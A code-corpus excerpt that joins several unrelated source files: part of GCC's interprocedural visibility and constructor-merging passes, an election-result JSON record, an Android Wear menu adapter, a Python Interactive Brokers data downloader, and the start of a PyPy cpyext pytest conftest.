&& DECL_SECTION_NAME (vnode->decl) == NULL)
{
if (dump_file)
fprintf (dump_file, " %s (read-only)", varpool_node_name (vnode));
TREE_READONLY (vnode->decl) = 1;
}
}
if (dump_file)
fprintf (dump_file, "\n");
}
/* Return true when there is a reference to node and it is not vtable. */
static bool
cgraph_address_taken_from_non_vtable_p (struct cgraph_node *node)
{
int i;
struct ipa_ref *ref;
for (i = 0; ipa_ref_list_refering_iterate (&node->ref_list, i, ref); i++)
if (ref->use == IPA_REF_ADDR)
{
struct varpool_node *node;
if (ref->refering_type == IPA_REF_CGRAPH)
return true;
node = ipa_ref_refering_varpool_node (ref);
if (!DECL_VIRTUAL_P (node->decl))
return true;
}
return false;
}
/* COMDAT functions must be shared only if they have address taken,
otherwise we can produce our own private implementation with
-fwhole-program.
Return true when turning COMDAT functoin static can not lead to wrong
code when the resulting object links with a library defining same COMDAT.
Virtual functions do have their addresses taken from the vtables,
but in C++ there is no way to compare their addresses for equality. */
bool
cgraph_comdat_can_be_unshared_p (struct cgraph_node *node)
{
if ((cgraph_address_taken_from_non_vtable_p (node)
&& !DECL_VIRTUAL_P (node->decl))
|| !node->analyzed)
return false;
if (node->same_comdat_group)
{
struct cgraph_node *next;
/* If more than one function is in the same COMDAT group, it must
be shared even if just one function in the comdat group has
address taken. */
for (next = node->same_comdat_group;
next != node; next = next->same_comdat_group)
if (cgraph_address_taken_from_non_vtable_p (next)
&& !DECL_VIRTUAL_P (next->decl))
return false;
}
return true;
}
/* Return true when function NODE should be considered externally visible. */
static bool
cgraph_externally_visible_p (struct cgraph_node *node,
bool whole_program, bool aliased)
{
if (!node->local.finalized)
return false;
if (!DECL_COMDAT (node->decl)
&& (!TREE_PUBLIC (node->decl) || DECL_EXTERNAL (node->decl)))
return false;
/* Do not even try to be smart about aliased nodes. Until we properly
represent everything by same body alias, these are just evil. */
if (aliased)
return true;
/* Do not try to localize built-in functions yet. One of problems is that we
end up mangling their asm for WHOPR that makes it impossible to call them
using the implicit built-in declarations anymore. Similarly this enables
us to remove them as unreachable before actual calls may appear during
expansion or folding. */
if (DECL_BUILT_IN (node->decl))
return true;
/* If linker counts on us, we must preserve the function. */
if (cgraph_used_from_object_file_p (node))
return true;
if (DECL_PRESERVE_P (node->decl))
return true;
if (lookup_attribute ("externally_visible", DECL_ATTRIBUTES (node->decl)))
return true;
if (TARGET_DLLIMPORT_DECL_ATTRIBUTES
&& lookup_attribute ("dllexport", DECL_ATTRIBUTES (node->decl)))
return true;
if (node->resolution == LDPR_PREVAILING_DEF_IRONLY)
return false;
/* When doing LTO or whole program, we can bring COMDAT functoins static.
This improves code quality and we know we will duplicate them at most twice
(in the case that we are not using plugin and link with object file
implementing same COMDAT) */
if ((in_lto_p || whole_program)
&& DECL_COMDAT (node->decl)
&& cgraph_comdat_can_be_unshared_p (node))
return false;
/* When doing link time optimizations, hidden symbols become local. */
if (in_lto_p
&& (DECL_VISIBILITY (node->decl) == VISIBILITY_HIDDEN
|| DECL_VISIBILITY (node->decl) == VISIBILITY_INTERNAL)
/* Be sure that node is defined in IR file, not in other object
file. In that case we don't set used_from_other_object_file. */
&& node->analyzed)
;
else if (!whole_program)
return true;
if (MAIN_NAME_P (DECL_NAME (node->decl)))
return true;
return false;
}
/* Return true when variable VNODE should be considered externally visible. */
bool
varpool_externally_visible_p (struct varpool_node *vnode, bool aliased)
{
if (!DECL_COMDAT (vnode->decl) && !TREE_PUBLIC (vnode->decl))
return false;
/* Do not even try to be smart about aliased nodes. Until we properly
represent everything by same body alias, these are just evil. */
if (aliased)
return true;
/* If linker counts on us, we must preserve the function. */
if (varpool_used_from_object_file_p (vnode))
return true;
if (DECL_HARD_REGISTER (vnode->decl))
return true;
if (DECL_PRESERVE_P (vnode->decl))
return true;
if (lookup_attribute ("externally_visible",
DECL_ATTRIBUTES (vnode->decl)))
return true;
if (TARGET_DLLIMPORT_DECL_ATTRIBUTES
&& lookup_attribute ("dllexport",
DECL_ATTRIBUTES (vnode->decl)))
return true;
/* See if we have linker information about symbol not being used or
if we need to make guess based on the declaration.
Even if the linker clams the symbol is unused, never bring internal
symbols that are declared by user as used or externally visible.
This is needed for i.e. references from asm statements. */
if (varpool_used_from_object_file_p (vnode))
return true;
if (vnode->resolution == LDPR_PREVAILING_DEF_IRONLY)
return false;
/* As a special case, the COMDAT virutal tables can be unshared.
In LTO mode turn vtables into static variables. The variable is readonly,
so this does not enable more optimization, but referring static var
is faster for dynamic linking. Also this match logic hidding vtables
from LTO symbol tables. */
if ((in_lto_p || flag_whole_program)
&& !vnode->force_output
&& DECL_COMDAT (vnode->decl) && DECL_VIRTUAL_P (vnode->decl))
return false;
/* When doing link time optimizations, hidden symbols become local. */
if (in_lto_p
&& (DECL_VISIBILITY (vnode->decl) == VISIBILITY_HIDDEN
|| DECL_VISIBILITY (vnode->decl) == VISIBILITY_INTERNAL)
/* Be sure that node is defined in IR file, not in other object
file. In that case we don't set used_from_other_object_file. */
&& vnode->finalized)
;
else if (!flag_whole_program)
return true;
/* Do not attempt to privatize COMDATS by default.
This would break linking with C++ libraries sharing
inline definitions.
FIXME: We can do so for readonly vars with no address taken and
possibly also for vtables since no direct pointer comparsion is done.
It might be interesting to do so to reduce linking overhead. */
if (DECL_COMDAT (vnode->decl) || DECL_WEAK (vnode->decl))
return true;
return false;
}
/* Dissolve the same_comdat_group list in which NODE resides. */
static void
dissolve_same_comdat_group_list (struct cgraph_node *node)
{
struct cgraph_node *n = node, *next;
do
{
next = n->same_comdat_group;
n->same_comdat_group = NULL;
n = next;
}
while (n != node);
}
/* Mark visibility of all functions.
A local function is one whose calls can occur only in the current
compilation unit and all its calls are explicit, so we can change
its calling convention. We simply mark all static functions whose
address is not taken as local.
We also change the TREE_PUBLIC flag of all declarations that are public
in language point of view but we want to overwrite this default
via visibilities for the backend point of view. */
static unsigned int
function_and_variable_visibility (bool whole_program)
{
struct cgraph_node *node;
struct varpool_node *vnode;
struct pointer_set_t *aliased_nodes = pointer_set_create ();
struct pointer_set_t *aliased_vnodes = pointer_set_create ();
unsigned i;
alias_pair *p;
/* Discover aliased nodes. */
FOR_EACH_VEC_ELT (alias_pair, alias_pairs, i, p)
{
if (dump_file)
fprintf (dump_file, "Alias %s->%s",
IDENTIFIER_POINTER (DECL_ASSEMBLER_NAME (p->decl)),
IDENTIFIER_POINTER (p->target));
if ((node = cgraph_node_for_asm (p->target)) != NULL
&& !DECL_EXTERNAL (node->decl))
{
if (!node->analyzed)
continue;
cgraph_mark_needed_node (node);
gcc_assert (node->needed);
pointer_set_insert (aliased_nodes, node);
if (dump_file)
fprintf (dump_file, " node %s/%i",
cgraph_node_name (node), node->uid);
}
else if ((vnode = varpool_node_for_asm (p->target)) != NULL
&& !DECL_EXTERNAL (vnode->decl))
{
varpool_mark_needed_node (vnode);
gcc_assert (vnode->needed);
pointer_set_insert (aliased_vnodes, vnode);
if (dump_file)
fprintf (dump_file, " varpool node %s",
varpool_node_name (vnode));
}
if (dump_file)
fprintf (dump_file, "\n");
}
for (node = cgraph_nodes; node; node = node->next)
{
int flags = flags_from_decl_or_type (node->decl);
/* Optimize away PURE and CONST constructors and destructors. */
if (optimize
&& (flags & (ECF_CONST | ECF_PURE))
&& !(flags & ECF_LOOPING_CONST_OR_PURE))
{
DECL_STATIC_CONSTRUCTOR (node->decl) = 0;
DECL_STATIC_DESTRUCTOR (node->decl) = 0;
}
/* Frontends and alias code marks nodes as needed before parsing is finished.
We may end up marking as node external nodes where this flag is meaningless
strip it. */
if (node->needed
&& (DECL_EXTERNAL (node->decl) || !node->analyzed))
node->needed = 0;
/* C++ FE on lack of COMDAT support create local COMDAT functions
(that ought to be shared but can not due to object format
limitations). It is neccesary to keep the flag to make rest of C++ FE
happy. Clear the flag here to avoid confusion in middle-end. */
if (DECL_COMDAT (node->decl) && !TREE_PUBLIC (node->decl))
DECL_COMDAT (node->decl) = 0;
/* For external decls stop tracking same_comdat_group, it doesn't matter
what comdat group they are in when they won't be emitted in this TU,
and simplifies later passes. */
if (node->same_comdat_group && DECL_EXTERNAL (node->decl))
{
#ifdef ENABLE_CHECKING
struct cgraph_node *n;
for (n = node->same_comdat_group;
n != node;
n = n->same_comdat_group)
/* If at least one of same comdat group functions is external,
all of them have to be, otherwise it is a front-end bug. */
gcc_assert (DECL_EXTERNAL (n->decl));
#endif
dissolve_same_comdat_group_list (node);
}
gcc_assert ((!DECL_WEAK (node->decl) && !DECL_COMDAT (node->decl))
|| TREE_PUBLIC (node->decl) || DECL_EXTERNAL (node->decl));
if (cgraph_externally_visible_p (node, whole_program,
pointer_set_contains (aliased_nodes,
node)))
{
gcc_assert (!node->global.inlined_to);
node->local.externally_visible = true;
}
else
node->local.externally_visible = false;
if (!node->local.externally_visible && node->analyzed
&& !DECL_EXTERNAL (node->decl))
{
gcc_assert (whole_program || in_lto_p || !TREE_PUBLIC (node->decl));
cgraph_make_decl_local (node->decl);
node->resolution = LDPR_PREVAILING_DEF_IRONLY;
if (node->same_comdat_group)
/* cgraph_externally_visible_p has already checked all other nodes
in the group and they will all be made local. We need to
dissolve the group at once so that the predicate does not
segfault though. */
dissolve_same_comdat_group_list (node);
}
if (node->thunk.thunk_p
&& TREE_PUBLIC (node->decl))
{
struct cgraph_node *decl_node = node;
decl_node = cgraph_function_node (decl_node->callees->callee, NULL);
/* Thunks have the same visibility as function they are attached to.
Make sure the C++ front end set this up properly. */
if (DECL_ONE_ONLY (decl_node->decl))
{
gcc_checking_assert (DECL_COMDAT (node->decl)
== DECL_COMDAT (decl_node->decl));
gcc_checking_assert (DECL_COMDAT_GROUP (node->decl)
== DECL_COMDAT_GROUP (decl_node->decl));
gcc_checking_assert (node->same_comdat_group);
}
if (DECL_EXTERNAL (decl_node->decl))
DECL_EXTERNAL (node->decl) = 1;
}
}
for (node = cgraph_nodes; node; node = node->next)
node->local.local = cgraph_local_node_p (node);
for (vnode = varpool_nodes; vnode; vnode = vnode->next)
{
/* weak flag makes no sense on local variables. */
gcc_assert (!DECL_WEAK (vnode->decl)
|| TREE_PUBLIC (vnode->decl) || DECL_EXTERNAL (vnode->decl));
/* In several cases declarations can not be common:
- when declaration has initializer
- when it is in weak
- when it has specific section
- when it resides in non-generic address space.
- if declaration is local, it will get into .local common section
so common flag is not needed. Frontends still produce these in
certain cases, such as for:
static int a __attribute__ ((common))
Canonicalize things here and clear the redundant flag. */
if (DECL_COMMON (vnode->decl)
&& (!(TREE_PUBLIC (vnode->decl) || DECL_EXTERNAL (vnode->decl))
|| (DECL_INITIAL (vnode->decl)
&& DECL_INITIAL (vnode->decl) != error_mark_node)
|| DECL_WEAK (vnode->decl)
|| DECL_SECTION_NAME (vnode->decl) != NULL
|| ! (ADDR_SPACE_GENERIC_P
(TYPE_ADDR_SPACE (TREE_TYPE (vnode->decl))))))
DECL_COMMON (vnode->decl) = 0;
}
for (vnode = varpool_nodes_queue; vnode; vnode = vnode->next_needed)
{
if (!vnode->finalized)
continue;
if (vnode->needed
&& varpool_externally_visible_p
(vnode,
pointer_set_contains (aliased_vnodes, vnode)))
vnode->externally_visible = true;
else
vnode->externally_visible = false;
if (!vnode->externally_visible)
{
gcc_assert (in_lto_p || whole_program || !TREE_PUBLIC (vnode->decl));
cgraph_make_decl_local (vnode->decl);
vnode->resolution = LDPR_PREVAILING_DEF_IRONLY;
}
gcc_assert (TREE_STATIC (vnode->decl));
}
pointer_set_destroy (aliased_nodes);
pointer_set_destroy (aliased_vnodes);
if (dump_file)
{
fprintf (dump_file, "\nMarking local functions:");
for (node = cgraph_nodes; node; node = node->next)
if (node->local.local)
fprintf (dump_file, " %s", cgraph_node_name (node));
fprintf (dump_file, "\n\n");
fprintf (dump_file, "\nMarking externally visible functions:");
for (node = cgraph_nodes; node; node = node->next)
if (node->local.externally_visible)
fprintf (dump_file, " %s", cgraph_node_name (node));
fprintf (dump_file, "\n\n");
fprintf (dump_file, "\nMarking externally visible variables:");
for (vnode = varpool_nodes_queue; vnode; vnode = vnode->next_needed)
if (vnode->externally_visible)
fprintf (dump_file, " %s", varpool_node_name (vnode));
fprintf (dump_file, "\n\n");
}
cgraph_function_flags_ready = true;
return 0;
}
/* Local function pass handling visibilities. This happens before LTO streaming
so in particular -fwhole-program should be ignored at this level. */
static unsigned int
local_function_and_variable_visibility (void)
{
return function_and_variable_visibility (flag_whole_program && !flag_lto);
}
struct simple_ipa_opt_pass pass_ipa_function_and_variable_visibility =
{
{
SIMPLE_IPA_PASS,
"visibility", /* name */
NULL, /* gate */
local_function_and_variable_visibility,/* execute */
NULL, /* sub */
NULL, /* next */
0, /* static_pass_number */
TV_CGRAPHOPT, /* tv_id */
0, /* properties_required */
0, /* properties_provided */
0, /* properties_destroyed */
0, /* todo_flags_start */
TODO_remove_functions | TODO_dump_cgraph
| TODO_ggc_collect /* todo_flags_finish */
}
};
/* Do not re-run on ltrans stage. */
static bool
gate_whole_program_function_and_variable_visibility (void)
{
return !flag_ltrans;
}
/* Bring functionss local at LTO time whith -fwhole-program. */
static unsigned int
whole_program_function_and_variable_visibility (void)
{
struct cgraph_node *node;
struct varpool_node *vnode;
function_and_variable_visibility (flag_whole_program);
for (node = cgraph_nodes; node; node = node->next)
if ((node->local.externally_visible && !DECL_COMDAT (node->decl))
&& node->local.finalized)
cgraph_mark_needed_node (node);
for (vnode = varpool_nodes_queue; vnode; vnode = vnode->next_needed)
if (vnode->externally_visible && !DECL_COMDAT (vnode->decl))
varpool_mark_needed_node (vnode);
if (dump_file)
{
fprintf (dump_file, "\nNeeded variables:");
for (vnode = varpool_nodes_queue; vnode; vnode = vnode->next_needed)
if (vnode->needed)
fprintf (dump_file, " %s", varpool_node_name (vnode));
fprintf (dump_file, "\n\n");
}
if (optimize)
ipa_discover_readonly_nonaddressable_vars ();
return 0;
}
struct ipa_opt_pass_d pass_ipa_whole_program_visibility =
{
{
IPA_PASS,
"whole-program", /* name */
gate_whole_program_function_and_variable_visibility,/* gate */
whole_program_function_and_variable_visibility,/* execute */
NULL, /* sub */
NULL, /* next */
0, /* static_pass_number */
TV_CGRAPHOPT, /* tv_id */
0, /* properties_required */
0, /* properties_provided */
0, /* properties_destroyed */
0, /* todo_flags_start */
TODO_remove_functions | TODO_dump_cgraph
| TODO_ggc_collect /* todo_flags_finish */
},
NULL, /* generate_summary */
NULL, /* write_summary */
NULL, /* read_summary */
NULL, /* write_optimization_summary */
NULL, /* read_optimization_summary */
NULL, /* stmt_fixup */
0, /* TODOs */
NULL, /* function_transform */
NULL, /* variable_transform */
};
/* Simple ipa profile pass propagating frequencies across the callgraph. */
static unsigned int
ipa_profile (void)
{
struct cgraph_node **order = XCNEWVEC (struct cgraph_node *, cgraph_n_nodes);
struct cgraph_edge *e;
int order_pos;
bool something_changed = false;
int i;
order_pos = ipa_reverse_postorder (order);
for (i = order_pos - 1; i >= 0; i--)
{
if (order[i]->local.local && cgraph_propagate_frequency (order[i]))
{
for (e = order[i]->callees; e; e = e->next_callee)
if (e->callee->local.local && !e->callee->aux)
{
something_changed = true;
e->callee->aux = (void *)1;
}
}
order[i]->aux = NULL;
}
while (something_changed)
{
something_changed = false;
for (i = order_pos - 1; i >= 0; i--)
{
if (order[i]->aux && cgraph_propagate_frequency (order[i]))
{
for (e = order[i]->callees; e; e = e->next_callee)
if (e->callee->local.local && !e->callee->aux)
{
something_changed = true;
e->callee->aux = (void *)1;
}
}
order[i]->aux = NULL;
}
}
free (order);
return 0;
}
static bool
gate_ipa_profile (void)
{
return flag_ipa_profile;
}
struct ipa_opt_pass_d pass_ipa_profile =
{
{
IPA_PASS,
"profile_estimate", /* name */
gate_ipa_profile, /* gate */
ipa_profile, /* execute */
NULL, /* sub */
NULL, /* next */
0, /* static_pass_number */
TV_IPA_PROFILE, /* tv_id */
0, /* properties_required */
0, /* properties_provided */
0, /* properties_destroyed */
0, /* todo_flags_start */
0 /* todo_flags_finish */
},
NULL, /* generate_summary */
NULL, /* write_summary */
NULL, /* read_summary */
NULL, /* write_optimization_summary */
NULL, /* read_optimization_summary */
NULL, /* stmt_fixup */
0, /* TODOs */
NULL, /* function_transform */
NULL /* variable_transform */
};
/* Generate and emit a static constructor or destructor. WHICH must
be one of 'I' (for a constructor) or 'D' (for a destructor). BODY
is a STATEMENT_LIST containing GENERIC statements. PRIORITY is the
initialization priority for this constructor or destructor.
FINAL specify whether the externally visible name for collect2 should
be produced. */
static void
cgraph_build_static_cdtor_1 (char which, tree body, int priority, bool final)
{
static int counter = 0;
char which_buf[16];
tree decl, name, resdecl;
/* The priority is encoded in the constructor or destructor name.
collect2 will sort the names and arrange that they are called at
program startup. */
if (final)
sprintf (which_buf, "%c_%.5d_%d", which, priority, counter++);
else
/* Proudce sane name but one not recognizable by collect2, just for the
case we fail to inline the function. */
sprintf (which_buf, "sub_%c_%.5d_%d", which, priority, counter++);
name = get_file_function_name (which_buf);
decl = build_decl (input_location, FUNCTION_DECL, name,
build_function_type_list (void_type_node, NULL_TREE));
current_function_decl = decl;
resdecl = build_decl (input_location,
RESULT_DECL, NULL_TREE, void_type_node);
DECL_ARTIFICIAL (resdecl) = 1;
DECL_RESULT (decl) = resdecl;
DECL_CONTEXT (resdecl) = decl;
allocate_struct_function (decl, false);
TREE_STATIC (decl) = 1;
TREE_USED (decl) = 1;
DECL_ARTIFICIAL (decl) = 1;
DECL_NO_INSTRUMENT_FUNCTION_ENTRY_EXIT (decl) = 1;
DECL_SAVED_TREE (decl) = body;
if (!targetm.have_ctors_dtors && final)
{
TREE_PUBLIC (decl) = 1;
DECL_PRESERVE_P (decl) = 1;
}
DECL_UNINLINABLE (decl) = 1;
DECL_INITIAL (decl) = make_node (BLOCK);
TREE_USED (DECL_INITIAL (decl)) = 1;
DECL_SOURCE_LOCATION (decl) = input_location;
cfun->function_end_locus = input_location;
switch (which)
{
case 'I':
DECL_STATIC_CONSTRUCTOR (decl) = 1;
decl_init_priority_insert (decl, priority);
break;
case 'D':
DECL_STATIC_DESTRUCTOR (decl) = 1;
decl_fini_priority_insert (decl, priority);
break;
default:
gcc_unreachable ();
}
gimplify_function_tree (decl);
cgraph_add_new_function (decl, false);
set_cfun (NULL);
current_function_decl = NULL;
}
/* Generate and emit a static constructor or destructor. WHICH must
be one of 'I' (for a constructor) or 'D' (for a destructor). BODY
is a STATEMENT_LIST containing GENERIC statements. PRIORITY is the
initialization priority for this constructor or destructor. */
void
cgraph_build_static_cdtor (char which, tree body, int priority)
{
cgraph_build_static_cdtor_1 (which, body, priority, false);
}
/* A vector of FUNCTION_DECLs declared as static constructors. */
static VEC(tree, heap) *static_ctors;
/* A vector of FUNCTION_DECLs declared as static destructors. */
static VEC(tree, heap) *static_dtors;
/* When target does not have ctors and dtors, we call all constructor
and destructor by special initialization/destruction function
recognized by collect2.
When we are going to build this function, collect all constructors and
destructors and turn them into normal functions. */
static void
record_cdtor_fn (struct cgraph_node *node)
{
if (DECL_STATIC_CONSTRUCTOR (node->decl))
VEC_safe_push (tree, heap, static_ctors, node->decl);
if (DECL_STATIC_DESTRUCTOR (node->decl))
VEC_safe_push (tree, heap, static_dtors, node->decl);
node = cgraph_get_node (node->decl);
DECL_DISREGARD_INLINE_LIMITS (node->decl) = 1;
}
/* Define global constructors/destructor functions for the CDTORS, of
which they are LEN. The CDTORS are sorted by initialization
priority. If CTOR_P is true, these are constructors; otherwise,
they are destructors. */
static void
build_cdtor (bool ctor_p, VEC (tree, heap) *cdtors)
{
size_t i,j;
size_t len = VEC_length (tree, cdtors);
i = 0;
while (i < len)
{
tree body;
tree fn;
priority_type priority;
priority = 0;
body = NULL_TREE;
j = i;
do
{
priority_type p;
fn = VEC_index (tree, cdtors, j);
p = ctor_p ? DECL_INIT_PRIORITY (fn) : DECL_FINI_PRIORITY (fn);
if (j == i)
priority = p;
else if (p != priority)
break;
j++;
}
while (j < len);
/* When there is only one cdtor and target supports them, do nothing. */
if (j == i + 1
&& targetm.have_ctors_dtors)
{
i++;
continue;
}
/* Find the next batch of constructors/destructors with the same
initialization priority. */
for (;i < j; i++)
{
tree call;
fn = VEC_index (tree, cdtors, i);
call = build_call_expr (fn, 0);
if (ctor_p)
DECL_STATIC_CONSTRUCTOR (fn) = 0;
else
DECL_STATIC_DESTRUCTOR (fn) = 0;
/* We do not want to optimize away pure/const calls here.
When optimizing, these should be already removed, when not
optimizing, we want user to be able to breakpoint in them. */
TREE_SIDE_EFFECTS (call) = 1;
append_to_statement_list (call, &body);
}
gcc_assert (body != NULL_TREE);
/* Generate a function to call all the function of like
priority. */
cgraph_build_static_cdtor_1 (ctor_p ? 'I' : 'D', body, priority, true);
}
}
/* Comparison function for qsort. P1 and P2 are actually of type
"tree *" and point to static constructors. DECL_INIT_PRIORITY is
used to determine the sort order. */
static int
compare_ctor (const void *p1, const void *p2)
{
tree f1;
tree f2;
int priority1;
int priority2;
f1 = *(const tree *)p1;
f2 = *(const tree *)p2;
priority1 = DECL_INIT_PRIORITY (f1);
priority2 = DECL_INIT_PRIORITY (f2);
if (priority1 < priority2)
return -1;
else if (priority1 > priority2)
return 1;
else
/* Ensure a stable sort. Constructors are executed in backwarding
order to make LTO initialize braries first. */
return DECL_UID (f2) - DECL_UID (f1);
}
/* Comparison function for qsort. P1 and P2 are actually of type
"tree *" and point to static destructors. DECL_FINI_PRIORITY is
used to determine the sort order. */
static int
compare_dtor (const void *p1, const void *p2)
{
tree f1;
tree f2;
int priority1;
int priority2;
f1 = *(const tree *)p1;
f2 = *(const tree *)p2;
priority1 = DECL_FINI_PRIORITY (f1);
priority2 = DECL_FINI_PRIORITY (f2);
if (priority1 < priority2)
return -1;
else if (priority1 > priority2)
return 1;
else
/* Ensure a stable sort. */
return DECL_UID (f1) - DECL_UID (f2);
}
/* Generate functions to call static constructors and destructors
for targets that do not support .ctors/.dtors sections. These
functions have magic names which are detected by collect2. */
static void
build_cdtor_fns (void)
{
if (!VEC_empty (tree, static_ctors))
{
gcc_assert (!targetm.have_ctors_dtors || in_lto_p);
VEC_qsort (tree, static_ctors, compare_ctor);
build_cdtor (/*ctor_p=*/true, static_ctors);
}
if (!VEC_empty (tree, static_dtors))
{
gcc_assert (!targetm.have_ctors_dtors || in_lto_p);
VEC_qsort (tree, static_dtors, compare_dtor);
build_cdtor (/*ctor_p=*/false, static_dtors);
}
}
/* Look for constructors and destructors and produce function calling them.
This is needed for targets not supporting ctors or dtors, but we perform the
transformation also at linktime to merge possibly numberous
constructors/destructors into single function to improve code locality and
reduce size. */
static unsigned int
ipa_cdtor_merge (void)
{
struct cgraph_node *node;
for (node = cgraph_nodes; node; node = node->next)
if (node->analyzed
&& (DECL_STATIC_CONSTRUCTOR (node->decl)
|| DECL_STATIC_DESTRUCTOR (node->decl)))
record_cdtor_fn (node);
build_cdtor_fns ();
VEC_free (tree, heap, static_ctors);
VEC_free (tree, heap, static_dtors);
return 0;
}
/* Perform the pass when we have no ctors/dtors support
or at LTO time to merge multiple constructors into single
function. */
static bool
gate_ipa_cdtor_merge (void)
{
return !targetm.have_ctors_dtors || (optimize && in_lto_p);
}
struct ipa_opt_pass_d pass_ipa_cdtor_merge =
{
{
IPA_PASS,
"cdtor", /* name */
gate_ipa_cdtor_merge, /* gate */
ipa_cdtor_merge, /* execute */
NULL, /* sub */
NULL, /* next */
0, /* static_pass_number */
TV_CGRAPHOPT, /* tv_id */
0, /* properties_required */
0, /* properties_provided */
0, /* properties_destroyed */
0, /* todo_flags_start */
0 /* todo_flags_finish */
},
NULL, /* generate_summary */
NULL, /* write_summary */
NULL, /* read_summary */
NULL, /* write_optimization_summary */
NULL, /* read_optimization_summary */
NULL, /* stmt_fixup */
0, /* TODOs */
NULL, /* function_transform */
NULL /* variable_transform */
};
| 17,827 |
348 | <reponame>chamberone/Leaflet.PixiOverlay
{"nom":"Oderen","circ":"4ème circonscription","dpt":"Haut-Rhin","inscrits":960,"abs":549,"votants":411,"blancs":30,"nuls":3,"exp":378,"res":[{"nuance":"LR","nom":"<NAME>","voix":245},{"nuance":"REM","nom":"<NAME>","voix":133}]} | 110 |
336 | <filename>wearmenu/src/main/java/com/github/florent37/WearMenuListListViewAdapter.java
package com.github.florent37;
import android.content.Context;
import android.graphics.drawable.Drawable;
import android.support.wearable.view.WearableListView;
import android.view.LayoutInflater;
import android.view.ViewGroup;
import java.util.List;
/**
* Created by florentchampigny on 01/04/15.
*/
public class WearMenuListListViewAdapter extends WearableListView.Adapter {
private List<String> mTitles;
private List<Drawable> mDrawables;
private Context mContext;
private LayoutInflater mInflater;
private int mListSelectedColor;
private int mListTextColor;
public WearMenuListListViewAdapter(Context context, List<String> titles) {
mContext = context;
mInflater = LayoutInflater.from(context);
}
public WearMenuListListViewAdapter(Context context, List<String> titles, int listTextColor, int listSelectedColor) {
this(context,titles);
mTitles = titles;
mListSelectedColor = listSelectedColor;
mListTextColor = listTextColor;
}
public WearMenuListListViewAdapter(Context context, List<String> titles, List<Drawable> drawables, int listTextColor, int listSelectedColor) {
this(context,titles,listTextColor, listSelectedColor);
mDrawables = drawables;
}
@Override
public WearableListView.ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
WearMenuListItemLayout layout = (WearMenuListItemLayout) mInflater.inflate(R.layout.wearmenu_list_element, null);
layout.setListSelectedColor(mListSelectedColor);
layout.setListTextColor(mListTextColor);
return new WearMenuListViewAdapterViewHolder(layout);
}
@Override
public void onBindViewHolder(WearableListView.ViewHolder holder, int position) {
WearMenuListViewAdapterViewHolder itemHolder = (WearMenuListViewAdapterViewHolder) holder;
itemHolder.textView.setText(mTitles.get(position));
holder.itemView.setTag(position);
if(mDrawables != null){
itemHolder.imageButton.setImageDrawable(mDrawables.get(position));
}
}
@Override
public int getItemCount() {
return mTitles.size();
}
}
| 822 |
318 | # -*- coding: utf-8 -*-
"""
This script downloads historic data for single or multiple securities through the
Interactive brokers API.
* the tool is run from the command line (see parameters below)
* configuration is done in ``settings.yml``. Here a list of security definitions is kept
together with data destination folder
* the data is saved as ``.csv`` files in a directory structure.
Running script
----------------
.. argparse::
:module: getData
:func: getParser
:prog: getData
"""
from tradingWithPython.lib.csvDatabase import HistDataCsv
from tradingWithPython.lib.interactiveBrokers.helpers import createContract
from tradingWithPython.lib.interactiveBrokers.histData import Downloader
import tradingWithPython.lib.yahooFinance as yf
from tradingWithPython.lib import logger
import logging
import argparse
import pandas as pd
import os
import time
import datetime
import yaml
log =logger.getLogger('main',logFile='downloader.log',consoleLevel=logging.DEBUG)
def errorLogger(msg):
if msg.typeName == 'error':
log.error(str(msg))
def str2time(s):
return datetime.datetime.strptime(s,"%Y%m%d %H:%M:%S")
def time2str(ts):
return ts.strftime("%Y%m%d %H:%M:%S")
def lastTradingDate():
""" determine last historic data date by downloading from yahoo finance"""
data = yf.getHistoricData('SPY',sDate=(2016,1,1))
return data.index[-1]
def getTradingDates():
''' get list of trading dates from yahoo, one year back'''
startDate = (datetime.date.today() - datetime.timedelta(days=365)).timetuple()[:3]
df = yf.getHistoricData('SPY',sDate=startDate)
dates = [d.date() for d in df.index]
return dates
def getData(contract, db):
""" get historic data for one date, return as DataFrame """
halfYearAgo = datetime.date.today()- pd.DateOffset(months=6, days=-1)
dataRange = db.dateRange # get data range in the database
end = SETTINGS['end'] if SETTINGS['end'] is not None else lastTradingDate()
log.debug('endDateTime:'+time2str(end))
stopAt = max(halfYearAgo, dataRange[1]) # end of data download
while (end > stopAt) :
log.info('Requesting block with end time %s' % end)
data = DL.requestData(contract,end,durationStr='7200 S',barSizeSetting='5 secs',whatToShow='TRADES')
db.saveData(data)
# set new end time of the data block
end = data.index[0]
def testDownload():
""" used for testing """
contract = createContract('VXX')
#date = datetime.date(2016,10,6)
end = SETTINGS['lastTradingDate']
data = DL.requestData(contract,end,durationStr='6 M',barSizeSetting='1 day',whatToShow='TRADES')
data.to_csv('temp/testDownload.csv')
def download(settings):
""" download all symbols """
#---------get subdirectories
dataDir = settings['dataRoot']
log.info('Data root is '+dataDir)
subscriptions = settings['subscriptions']
symbols = settings['getSymbols']
#----------create objects
contracts = {}
csvData = {}
for symbol in symbols:
contracts[symbol] = createContract(symbol,
secType = subscriptions[symbol]['secType'],
exchange = subscriptions[symbol]['exchange'])
csvData[symbol] = HistDataCsv(symbol,dataDir,autoCreateDir=True)
#-----------download---------
for symbol in symbols:
try:
getData(contracts[symbol],csvData[symbol])
except:
log.exception('Download failed')
def getParser():
""" create command line parser """
parser = argparse.ArgumentParser(description='Download historic data')
parser.add_argument("--symbols",help = 'symbols separated by comma: SPY,VXX',default='all')
parser.add_argument("--end", help= "timestamp from where to start download.\
Defaults to last trading date", default=None)
return parser
if __name__ == "__main__":
parser = getParser()
args = vars(parser.parse_args())
print(args)
# load settings, using global var here
SETTINGS = yaml.load(open('settings.yml','r'),Loader=yaml.FullLoader)
SETTINGS['getSymbols'] = SETTINGS['subscriptions'].keys() if args['symbols']=='all' else args['symbols'].split(',')
SETTINGS['end'] = args['end']
print(SETTINGS)
DL = Downloader(debug=False) # downloader class
DL.tws.registerAll(errorLogger)
time.sleep(2)
download(SETTINGS)
#testDownload()
print('All done.')
| 1,846 |
381 | import os
import pytest
def pytest_configure(config):
if config.option.runappdirect:
import sys
import py
from pypy import pypydir
sys.path.append(str(py.path.local(pypydir) / 'tool' / 'cpyext'))
return
from pypy.tool.pytest.objspace import gettestobjspace
# For some reason (probably a ll2ctypes cache issue on linux64)
# it's necessary to run "import time" at least once before any
# other cpyext test, otherwise the same statement will fail in
# test_datetime.py.
space = gettestobjspace(usemodules=['time'])
space.getbuiltinmodule("time")
def pytest_ignore_collect(path, config):
# ensure additional functions are registered
import pypy.module.cpyext.test.test_cpyext
return False
def pytest_funcarg__api(request):
return request.cls.api
if os.name == 'nt':
